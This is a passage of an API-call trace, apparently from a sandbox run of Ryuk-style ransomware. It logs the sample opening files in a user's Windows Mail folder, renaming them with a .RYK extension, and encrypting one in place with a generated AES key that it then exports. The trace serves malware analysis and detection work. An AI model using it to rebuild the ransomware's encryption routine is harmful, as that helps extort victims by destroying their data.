	[0269.218] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb.chk.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edb.chk.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9dc
	[0269.218] GetFileSizeEx (in: hFile=0x9dc, lpFileSize=0x8c9f5b8 | out: lpFileSize=0x8c9f5b8*=8482) returned 1
	[0269.218] GetFileSizeEx (in: hFile=0x9dc, lpFileSize=0x8c9f5c8 | out: lpFileSize=0x8c9f5c8*=8482) returned 1
	[0269.218] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x2000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0269.218] ReadFile (in: hFile=0x9dc, lpBuffer=0x8c9f610, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8c9f580, lpOverlapped=0x0 | out: lpBuffer=0x8c9f610*, lpNumberOfBytesRead=0x8c9f580*=0x19, lpOverlapped=0x0) returned 1
	[0269.220] CloseHandle (hObject=0x9dc) returned 1

Thread:
	id = 3412
	os_tid = 0x3a40

	[0269.226] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb.log.RYK", dwFileAttributes=0x80) returned 1
	[0269.227] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb.log.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edb.log.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9e0
	[0269.227] GetFileSizeEx (in: hFile=0x9e0, lpFileSize=0x8edf678 | out: lpFileSize=0x8edf678*=2097442) returned 1
	[0269.227] GetFileSizeEx (in: hFile=0x9e0, lpFileSize=0x8edf688 | out: lpFileSize=0x8edf688*=2097442) returned 1
	[0269.227] SetFilePointerEx (in: hFile=0x9e0, liDistanceToMove=0x200000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0269.228] ReadFile (in: hFile=0x9e0, lpBuffer=0x8edf6d0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8edf640, lpOverlapped=0x0 | out: lpBuffer=0x8edf6d0*, lpNumberOfBytesRead=0x8edf640*=0x19, lpOverlapped=0x0) returned 1
	[0269.229] CloseHandle (hObject=0x9e0) returned 1

Thread:
	id = 3413
	os_tid = 0x3a44

	[0269.235] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb00001.log.RYK", dwFileAttributes=0x80) returned 1
	[0269.236] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb00001.log.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edb00001.log.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9e4
	[0269.236] GetFileSizeEx (in: hFile=0x9e4, lpFileSize=0x904fb18 | out: lpFileSize=0x904fb18*=2097442) returned 1
	[0269.236] GetFileSizeEx (in: hFile=0x9e4, lpFileSize=0x904fb28 | out: lpFileSize=0x904fb28*=2097442) returned 1
	[0269.236] SetFilePointerEx (in: hFile=0x9e4, liDistanceToMove=0x200000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0269.236] ReadFile (in: hFile=0x9e4, lpBuffer=0x904fb70, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x904fae0, lpOverlapped=0x0 | out: lpBuffer=0x904fb70*, lpNumberOfBytesRead=0x904fae0*=0x19, lpOverlapped=0x0) returned 1
	[0269.238] CloseHandle (hObject=0x9e4) returned 1

Thread:
	id = 3414
	os_tid = 0x3a48

	[0269.243] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edbres00001.jrs.RYK", dwFileAttributes=0x80) returned 1
	[0269.244] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edbres00001.jrs.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edbres00001.jrs.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9e8
	[0269.244] GetFileSizeEx (in: hFile=0x9e8, lpFileSize=0x952f618 | out: lpFileSize=0x952f618*=2097442) returned 1
	[0269.244] GetFileSizeEx (in: hFile=0x9e8, lpFileSize=0x952f628 | out: lpFileSize=0x952f628*=2097442) returned 1
	[0269.244] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x200000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0269.244] ReadFile (in: hFile=0x9e8, lpBuffer=0x952f670, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x952f5e0, lpOverlapped=0x0 | out: lpBuffer=0x952f670*, lpNumberOfBytesRead=0x952f5e0*=0x19, lpOverlapped=0x0) returned 1
	[0269.246] CloseHandle (hObject=0x9e8) returned 1

Thread:
	id = 3415
	os_tid = 0x3a4c

	[0269.252] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edbres00002.jrs.RYK", dwFileAttributes=0x80) returned 1
	[0269.252] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edbres00002.jrs.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edbres00002.jrs.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9ec
	[0269.253] GetFileSizeEx (in: hFile=0x9ec, lpFileSize=0x93ef9b8 | out: lpFileSize=0x93ef9b8*=2097442) returned 1
	[0269.253] GetFileSizeEx (in: hFile=0x9ec, lpFileSize=0x93ef9c8 | out: lpFileSize=0x93ef9c8*=2097442) returned 1
	[0269.253] SetFilePointerEx (in: hFile=0x9ec, liDistanceToMove=0x200000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0269.253] ReadFile (in: hFile=0x9ec, lpBuffer=0x93efa10, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x93ef980, lpOverlapped=0x0 | out: lpBuffer=0x93efa10*, lpNumberOfBytesRead=0x93ef980*=0x19, lpOverlapped=0x0) returned 1
	[0269.255] CloseHandle (hObject=0x9ec) returned 1

Thread:
	id = 3416
	os_tid = 0x3a50

	[0269.259] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\oeold.xml.RYK", dwFileAttributes=0x80) returned 1
	[0269.259] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\oeold.xml.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\oeold.xml.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9f0
	[0269.260] GetFileSizeEx (in: hFile=0x9f0, lpFileSize=0x971faf8 | out: lpFileSize=0x971faf8*=546) returned 1
	[0269.260] GetFileSizeEx (in: hFile=0x9f0, lpFileSize=0x971fb08 | out: lpFileSize=0x971fb08*=546) returned 1
	[0269.260] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x100, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0269.260] ReadFile (in: hFile=0x9f0, lpBuffer=0x971fb50, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x971fac0, lpOverlapped=0x0 | out: lpBuffer=0x971fb50*, lpNumberOfBytesRead=0x971fac0*=0x19, lpOverlapped=0x0) returned 1
	[0269.262] CloseHandle (hObject=0x9f0) returned 1

Thread:
	id = 3417
	os_tid = 0x3a54

	[0269.267] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", dwFileAttributes=0x80) returned 1
	[0269.268] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Bears.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9f4
	[0269.268] GetFileSizeEx (in: hFile=0x9f4, lpFileSize=0x98cfd18 | out: lpFileSize=0x98cfd18*=530) returned 1
	[0269.268] GetFileSizeEx (in: hFile=0x9f4, lpFileSize=0x98cfd28 | out: lpFileSize=0x98cfd28*=530) returned 1
	[0269.268] SetFilePointerEx (in: hFile=0x9f4, liDistanceToMove=0xf0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0269.268] ReadFile (in: hFile=0x9f4, lpBuffer=0x98cfd70, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x98cfce0, lpOverlapped=0x0 | out: lpBuffer=0x98cfd70*, lpNumberOfBytesRead=0x98cfce0*=0x19, lpOverlapped=0x0) returned 1
	[0269.271] CloseHandle (hObject=0x9f4) returned 1
	[0269.271] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Bears.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\bears.htm"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Bears.htm.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\bears.htm.ryk"), dwFlags=0x8) returned 1
	[0269.278] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Bears.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\bears.htm"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Bears.htm.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\bears.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3418
	os_tid = 0x3a58

	[0269.282] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg", dwFileAttributes=0x80) returned 1
	[0269.282] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9f8
	[0269.283] GetFileSizeEx (in: hFile=0x9f8, lpFileSize=0x9affb38 | out: lpFileSize=0x9affb38*=1362) returned 1
	[0269.283] GetFileSizeEx (in: hFile=0x9f8, lpFileSize=0x9affb48 | out: lpFileSize=0x9affb48*=1362) returned 1
	[0269.283] SetFilePointerEx (in: hFile=0x9f8, liDistanceToMove=0x430, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0269.283] ReadFile (in: hFile=0x9f8, lpBuffer=0x9affb90, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9affb00, lpOverlapped=0x0 | out: lpBuffer=0x9affb90*, lpNumberOfBytesRead=0x9affb00*=0x19, lpOverlapped=0x0) returned 1
	[0269.285] CloseHandle (hObject=0x9f8) returned 1
	[0269.286] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\bears.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\bears.jpg.ryk"), dwFlags=0x8) returned 1
	[0269.291] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\bears.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\bears.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3419
	os_tid = 0x3a5c

	[0269.296] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", dwFileAttributes=0x80) returned 1
	[0269.297] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Garden.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9fc
	[0269.298] GetFileSizeEx (in: hFile=0x9fc, lpFileSize=0x9d2fd38 | out: lpFileSize=0x9d2fd38*=514) returned 1
	[0269.298] GetFileSizeEx (in: hFile=0x9fc, lpFileSize=0x9d2fd48 | out: lpFileSize=0x9d2fd48*=514) returned 1
	[0269.298] SetFilePointerEx (in: hFile=0x9fc, liDistanceToMove=0xe0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0269.298] ReadFile (in: hFile=0x9fc, lpBuffer=0x9d2fd90, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9d2fd00, lpOverlapped=0x0 | out: lpBuffer=0x9d2fd90*, lpNumberOfBytesRead=0x9d2fd00*=0x19, lpOverlapped=0x0) returned 1
	[0269.300] CloseHandle (hObject=0x9fc) returned 1
	[0269.300] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Garden.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\garden.htm"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Garden.htm.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\garden.htm.ryk"), dwFlags=0x8) returned 1
	[0269.305] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Garden.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\garden.htm"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Garden.htm.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\garden.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3420
	os_tid = 0x3a60

	[0269.310] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", dwFileAttributes=0x80) returned 1
	[0269.311] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa00
	[0269.311] GetFileSizeEx (in: hFile=0xa00, lpFileSize=0x9edfbd8 | out: lpFileSize=0x9edfbd8*=24146) returned 1
	[0269.311] GetFileSizeEx (in: hFile=0xa00, lpFileSize=0x9edfbe8 | out: lpFileSize=0x9edfbe8*=24146) returned 1
	[0269.312] SetFilePointerEx (in: hFile=0xa00, liDistanceToMove=0x5d30, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0269.312] ReadFile (in: hFile=0xa00, lpBuffer=0x9edfc30, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9edfba0, lpOverlapped=0x0 | out: lpBuffer=0x9edfc30*, lpNumberOfBytesRead=0x9edfba0*=0x19, lpOverlapped=0x0) returned 1
	[0269.314] CloseHandle (hObject=0xa00) returned 1
	[0269.314] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\garden.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\garden.jpg.ryk"), dwFlags=0x8) returned 1
	[0269.320] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\garden.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\garden.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3421
	os_tid = 0x3a64

	[0269.622] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", dwFileAttributes=0x80) returned 1
	[0270.146] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa04
	[0270.147] GetFileSizeEx (in: hFile=0xa04, lpFileSize=0xa08fbb8 | out: lpFileSize=0xa08fbb8*=237) returned 1
	[0270.147] GetFileSizeEx (in: hFile=0xa04, lpFileSize=0xa08fbc8 | out: lpFileSize=0xa08fbc8*=237) returned 1
	[0270.147] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0xa08fb98 | out: phKey=0xa08fb98*=0x2b9060) returned 1
	[0270.147] SetFilePointer (in: hFile=0xa04, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0270.147] ReadFile (in: hFile=0xa04, lpBuffer=0x3990000, nNumberOfBytesToRead=0xed, lpNumberOfBytesRead=0xa08fba4, lpOverlapped=0x0 | out: lpBuffer=0x3990000*, lpNumberOfBytesRead=0xa08fba4*=0xed, lpOverlapped=0x0) returned 1
	[0270.175] CryptEncrypt (in: hKey=0x2b9060, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0xa08fba0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0xa08fba0*=0xf4250) returned 1
	[0270.175] CryptEncrypt (in: hKey=0x2b9060, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3990000*, pdwDataLen=0xa08fba8*=0xed, dwBufLen=0xf4250 | out: pbData=0x3990000*, pdwDataLen=0xa08fba8*=0xf0) returned 1
	[0270.175] SetFilePointer (in: hFile=0xa04, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0270.175] WriteFile (in: hFile=0xa04, lpBuffer=0x3990000*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0xa08fba4, lpOverlapped=0x0 | out: lpBuffer=0x3990000*, lpNumberOfBytesWritten=0xa08fba4*=0xf0, lpOverlapped=0x0) returned 1
	[0270.187] WriteFile (in: hFile=0xa04, lpBuffer=0xa08fbd0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0xa08fbb0, lpOverlapped=0x0 | out: lpBuffer=0xa08fbd0*, lpNumberOfBytesWritten=0xa08fbb0*=0x6, lpOverlapped=0x0) returned 1
	[0270.187] CryptExportKey (in: hKey=0x2b9060, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xa08fbc0 | out: pbData=0x0*, pdwDataLen=0xa08fbc0*=0x10c) returned 1
	[0270.187] CryptExportKey (in: hKey=0x2b9060, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0xa08fc30, pdwDataLen=0xa08fbc0 | out: pbData=0xa08fc30*, pdwDataLen=0xa08fbc0*=0x10c) returned 1
